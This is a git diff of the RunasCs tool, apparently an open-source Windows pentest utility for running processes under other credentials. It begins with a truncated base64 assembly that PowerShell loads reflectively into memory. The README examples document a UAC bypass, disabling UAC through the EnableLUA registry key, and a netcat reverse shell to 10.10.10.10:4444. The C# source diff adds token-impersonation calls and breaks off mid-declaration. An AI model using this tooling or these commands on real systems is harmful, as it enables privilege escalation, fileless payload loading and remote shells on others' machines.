AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAADAAAANA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" $RunasCsBytes = [System.Convert]::FromBase64String($RunasCsBase64) [Reflection.Assembly]::Load($RunasCsBytes) | Out-Null diff --git a/README.md b/README.md index c3340a7..5f71d30 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ This tool is an improved and open version of windows builtin *runas.exe* that so * Uses more reliable create process functions like ``CreateProcessAsUser()`` and ``CreateProcessWithTokenW()`` if the calling process holds the required privileges (automatic detection) * Allows to specify the logon type, e.g. 8-NetworkCleartext logon (no *UAC* limitations) * Allows to bypass UAC when an administrator password is known (flag --bypass-uac) +* Allows to create a process with the main thread impersonating the requested user (flag --remote-impersonation) * Allows redirecting *stdin*, *stdout* and *stderr* to a remote host * It's Open Source :) @@ -34,26 +35,26 @@ Based on the process caller token permissions, it will use one of the create pro ---- ```console -RunasCs v1.4 - @splinter_code +RunasCs v1.5 - @splinter_code Usage: - RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile] [--bypass-uac] + RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation] Description: RunasCs is an utility to run specific processes under a different user account by specifying explicit credentials. In contrast to the default runas.exe command - it supports different logon types and crateProcess functions to be used, depending + it supports different logon types and CreateProcess* functions to be used, depending on your current permissions. Furthermore it allows input/output redirection (even to remote hosts) and you can specify the password directly on the command line. Positional arguments: username username of the user password password of the user - cmd command supported by cmd.exe if process_timeout>0 - commandline for the process if process_timeout=0 + cmd commandline for the process + Optional arguments: -d, --domain domain - domain of the user, if in a domain. + domain of the user, if in a domain. Default: "" -f, --function create_process_function CreateProcess function to use. When not specified @@ -63,79 +64,80 @@ Optional arguments: 1 - CreateProcessWithTokenW 2 - CreateProcessWithLogonW -l, --logon-type logon_type - the logon type for the spawned process. - Default: "8" - NetworkCleartext - -r, --remote host:port - redirect stdin, stdout and stderr to a remote host. - Using this option sets the process timeout to 0. + the logon type for the token of the new process. + Default: "2" - Interactive -t, --timeout process_timeout the waiting time (in ms) for the created process. This will halt RunasCs until the spawned process ends and sent the output back to the caller. - If you set 0 no output will be retrieved and cmd.exe - won't be used to spawn the process. + If you set 0 no output will be retrieved and a + background process will be created. Default: "120000" - -p, --create-profile - if this flag is specified RunasCs will force the - creation of the user profile on the machine. + -r, --remote host:port + redirect stdin, stdout and stderr to a remote host. + Using this option sets the process_timeout to 0. + -p, --force-profile + force the creation of the user profile on the machine. This will ensure the process will have the environment variables correctly set. - NOTE: this will leave some forensics traces - behind creating the user profile directory. - Compatible only with -f flags: - 1 - CreateProcessWithTokenW - 2 - CreateProcessWithLogonW - -b, --bypass-uac - if this flag is specified RunasCs will try a UAC - bypass to spawn a process without token limitation - (not filtered). + WARNING: If non-existent, it creates the user profile + directory in the C:\Users folder. + -b, --bypass-uac + try a UAC bypass to spawn a process without + token limitations (not filtered). + -i, --remote-impersonation + spawn a new process and assign the token of the + logged on user to the main thread. Examples: - Run a command as a specific local user - RunasCs.exe user1 password1 whoami - Run a command as a specific domain user and interactive logon type (2) - RunasCs.exe user1 password1 whoami -d domain -l 2 - Run a background/async process as a specific local user, - RunasCs.exe user1 password1 "%COMSPEC% powershell -enc..." -t 0 + Run a command as a local user + RunasCs.exe user1 password1 "cmd /c whoami /all" + Run a command as a domain user and logon type as NetworkCleartext (8) + RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8 + Run a background process as a local user, + RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0 Redirect stdin, stdout and stderr of the specified command to a remote host - RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444 - Run a command simulating the /netonly flag of runas.exe - RunasCs.exe user1 password1 whoami -d domain -l 9 + RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444 + Run a command simulating the /netonly flag of runas.exe + RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9 Run a command as an Administrator bypassing UAC - RunasCs.exe adm1 password1 "whoami /priv" --bypass-uac + RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac + Run a command as an Administrator through remote impersonation + RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation ``` The two processes (calling and called) will communicate through one *pipe* (both for *stdout* and *stderr*). -The default logon type is 8 (*NetworkCleartext*). - -**NetworkCleartext** logon type is the one with widest permissions as it doesn't get filtered by UAC in local tokens and still allows - authentications over the Network as it stores credentials in the authentication package. +The default logon type is 2 (*Interactive*). -If you set *Interactive* (2) logon type you will face some *UAC* restriction problems. +By default, the *Interactive* (2) logon type is restricted by *UAC* and the generated token from these authentications are filtered. You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ``` -Otherwise, you can try the flag **--bypass-uac** for an attempt in bypassing the token filtered limitation. +Otherwise, you can try the flag **--bypass-uac** for an attempt in bypassing the token filtering limitation. -By default, the calling process (*RunasCs*) will wait until the end of the execution of the spawned process and will use -``cmd.exe`` to manage *stdout* and *stderr*. If you need to spawn a background or async process, i.e. spawning a reverse shell, -you need to set the parameter ``-t timeout`` to ``0``. In this case the process will be spawned without using ``cmd.exe`` -and *RunasCs* won't wait for the end of the execution. +**NetworkCleartext (8)** logon type is the one with the widest permissions as it doesn't get filtered by UAC in local tokens and still allows + authentications over the Network as it stores credentials in the authentication package. If you holds enough privileges, try to always specify this logon type through the flag --logon-type 8. + +By default, the calling process (*RunasCs*) will wait until the end of the execution of the spawned process. +If you need to spawn a background or async process, i.e. spawning a reverse shell, you need to set the parameter ``-t timeout`` to ``0``. In this case *RunasCs* won't wait for the end of the newly spawned process execution. ### References ---- -* https://decoder.cloud/2018/01/13/potato-and-tokens/ -* https://github.com/dahall/Vanara -* https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85) -* https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles -* https://support.microsoft.com/en-us/help/327618/security-services-and-the-interactive-desktop-in-windows -* https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/ - +* [Potatoes and tokens](https://decoder.cloud/2018/01/13/potato-and-tokens/) +* [Starting an Interactive Client Process in C++](https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85)) +* [Creating a Child Process with Redirected Input and Output](https://learn.microsoft.com/en-us/windows/win32/procthread/creating-a-child-process-with-redirected-input-and-output) +* [Interactive Services](https://learn.microsoft.com/en-us/windows/win32/services/interactive-services) +* [What is up with "The application failed to initialize properly (0xc0000142)" error?](https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/) +* [Getting an Interactive Service Account Shell](https://www.tiraniddo.dev/2020/02/getting-interactive-service-account.html) +* [Reading Your Way Around UAC (Part 1)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html) +* [Reading Your Way Around UAC (Part 2)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html) +* [Reading Your Way Around UAC (Part 3)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-3.html) +* [Vanara - A set of .NET libraries for Windows implementing PInvoke calls to many native Windows APIs with supporting wrappers](https://github.com/dahall/Vanara) ### Credits diff --git a/RunasCs.cs b/RunasCs.cs index ee8579c..48107a7 100644 --- a/RunasCs.cs +++ b/RunasCs.cs @@ -5,33 +5,44 @@ using System.Diagnostics; using System.Net.Sockets; using System.Security.Principal; +using System.ComponentModel; +using System.Net; public class RunasCsException : Exception { private const string error_string = "[-] RunasCsException: "; + private static string GetWin32ErrorString() + { + Console.Out.Flush(); + string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; + return errorMessage; + } + public RunasCsException(){} - public RunasCsException(string message) : base(error_string + message){} + public RunasCsException(string message) : base(error_string + message) { } + + public RunasCsException(string win32FunctionName, bool returnWin32Error) : base(error_string + win32FunctionName + " failed with error code: " + GetWin32ErrorString()) {} } public class RunasCs { - private const UInt16 SW_HIDE = 0; private const Int32 Startf_UseStdHandles = 0x00000100; - private const int TokenType = 1; //primary token + private const int TokenPrimary = 1; + private const int TokenImpersonation = 2; private const int LOGON32_PROVIDER_DEFAULT = 0; private const int LOGON32_PROVIDER_WINNT50 = 3; private const int LOGON32_LOGON_INTERACTIVE = 2; private const int LOGON32_LOGON_NETWORK = 3; private const int LOGON32_LOGON_BATCH = 4; private const int LOGON32_LOGON_SERVICE = 5; - private const int LOGON32_LOGON_UNLOCK = 7; private const int LOGON32_LOGON_NETWORK_CLEARTEXT = 8; private const int LOGON32_LOGON_NEW_CREDENTIALS = 9; + private const int ERROR_LOGON_TYPE_NOT_GRANTED = 1385; private const int BUFFER_SIZE_PIPE = 1048576; private const uint CREATE_NO_WINDOW = 0x08000000; - private const uint GENERIC_ALL = 0x10000000; + private const uint CREATE_SUSPENDED = 0x00000004; private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; private const uint DUPLICATE_SAME_ACCESS = 0x00000002; private const uint DACL_SECURITY_INFORMATION = 0x00000004; @@ -43,21 +54,11 @@ public class RunasCs private IntPtr hErrorWrite; private IntPtr hOutputRead; private IntPtr hOutputWrite; - private IntPtr hOutputReadTmp; private WindowStationDACL stationDaclObj; - - public RunasCs() - { - this.hOutputReadTmp = new IntPtr(0); - this.hOutputRead = new IntPtr(0); - this.hOutputWrite = new IntPtr(0); - this.hErrorWrite = new IntPtr(0); - this.socket = new IntPtr(0); - this.stationDaclObj = null; - } + private IntPtr hTokenPreviousImpersonatingThread; [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - struct STARTUPINFO + private struct STARTUPINFO { public Int32 cb; public string lpReserved; @@ -104,7 +105,7 @@ private enum SECURITY_IMPERSONATION_LEVEL } [StructLayout(LayoutKind.Sequential)] - public struct SOCKADDR_IN + private struct SOCKADDR_IN { public short sin_family; public short sin_port; @@ -113,7 +114,7 @@ public struct SOCKADDR_IN } [StructLayout(LayoutKind.Sequential)] - internal struct WSAData + private struct WSAData { internal short wVersion; internal short wHighVersion; @@ -143,6 +144,24 @@ private enum SE_OBJECT_TYPE SE_REGISTRY_WOW64_32KEY } + [StructLayout(LayoutKind.Sequential)] + private struct PROFILEINFO + { + public int dwSize; + public int dwFlags; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpUserName; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpProfilePath; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpDefaultPath; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpServerName; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpPolicyPath; + public IntPtr hProfile; + } + [DllImport("Kernel32.dll", SetLastError=true)] private static extern bool CloseHandle(IntPtr handle); @@ -150,18 +169,31 @@ private enum SE_OBJECT_TYPE private static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds); [DllImport("advapi32.dll", SetLastError=true)] - static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + private static extern bool ImpersonateLoggedOnUser(IntPtr hToken); [DllImport("advapi32.dll", SetLastError = true)] - static extern bool RevertToSelf(); + private static extern bool SetThreadToken(ref IntPtr pHandle, IntPtr hToken); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int ResumeThread(IntPtr hThread); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool RevertToSelf(); [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName,[MarshalAs(UnmanagedType.LPStr)] string pszDomain,[MarshalAs(UnmanagedType.LPStr)] string pszPassword,int dwLogonType,int dwLogonProvider,ref IntPtr phToken); - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] - private static 